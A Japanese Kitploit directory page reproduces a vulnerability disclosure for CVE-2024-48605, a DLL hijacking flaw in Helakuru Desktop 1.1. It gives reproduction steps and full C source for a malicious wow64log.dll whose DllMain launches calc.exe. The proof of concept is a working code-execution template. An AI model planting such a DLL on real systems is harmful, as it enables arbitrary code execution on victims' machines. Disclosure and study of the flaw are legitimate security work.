Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
HelakuruV.1.1-DLLHijack — Helakuru Version 1.1 DLLハイジャック - CVE-2024-48605 | Kitploit
ツール/GitHubGitHub/surajhacx/helakuruv.1.1-dllhijack
脆弱性分析コード分析エクスプロイトペイロード開発バイナリエクスプロイト
GitHubsurajhacx/helakuruv.1.1-dllhijack

HelakuruV.1.1-DLLHijack

Helakuru Version 1.1 DLLハイジャック - CVE-2024-48605

リポジトリを見る
5361年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Helakuru における DLL ハイジャックの脆弱性

概要

Helakuru Desktop バージョン 1.1v は、64ビットおよび32ビットの両アーキテクチャで動作します。テスト中に、このプログラムが最新の Windows オペレーティングシステムにはデフォルトで含まれていない wow64log.dll の読み込みを試みることが確認されました。これにより 'Name not found' エラーが発生し、プログラムが DLL ハイジャックの脆弱性にさらされることになります。悪意のある wow64log.dll を作成することで、任意のコード実行が可能になります。

影響を受けるバージョン

Helakuru Desktop 1.1v

再現手順

  1. ProcMon で DLL の読み込みを監視する
  • wow64log.dll に対する "Name not found" の CreateFile 操作を示す ProcMon Pasted image 20240925232040
  1. 悪意のある wow64log.dll を作成する
root@kitploit:~
#include <windows.h>
#include <stdio.h>

void LaunchCalculator()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    const char* calcCmd = "C:\\Windows\\System32\\calc.exe";

    if (!CreateProcessA(
        NULL,          
        (LPSTR)calcCmd, 
        NULL,          
        NULL,          
        FALSE,         
        0,             
        NULL,          
        NULL,          
        &si,           
        &pi))          
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
    }
    else
    {
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        LaunchCalculator();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
  1. Helakuru Desktop を実行する
  • Helakuru Desktop を再度起動します。悪意のある wow64log.dll がプログラムに読み込まれ、DLL インジェクションが成功したデモとして Calculator が起動します。 Pasted image 20240925233737
  1. ProcMon を使用して DLL の読み込みを確認する
  • ProcMon を再度開き、今回は wow64log.dll が正常に読み込まれていることを確認します。これにより、カスタム DLL がプログラムによって実行されたことが確認できます。 Pasted image 20240925232728

影響: この脆弱性により、任意のコード実行が可能になります。

ツールをダウンロード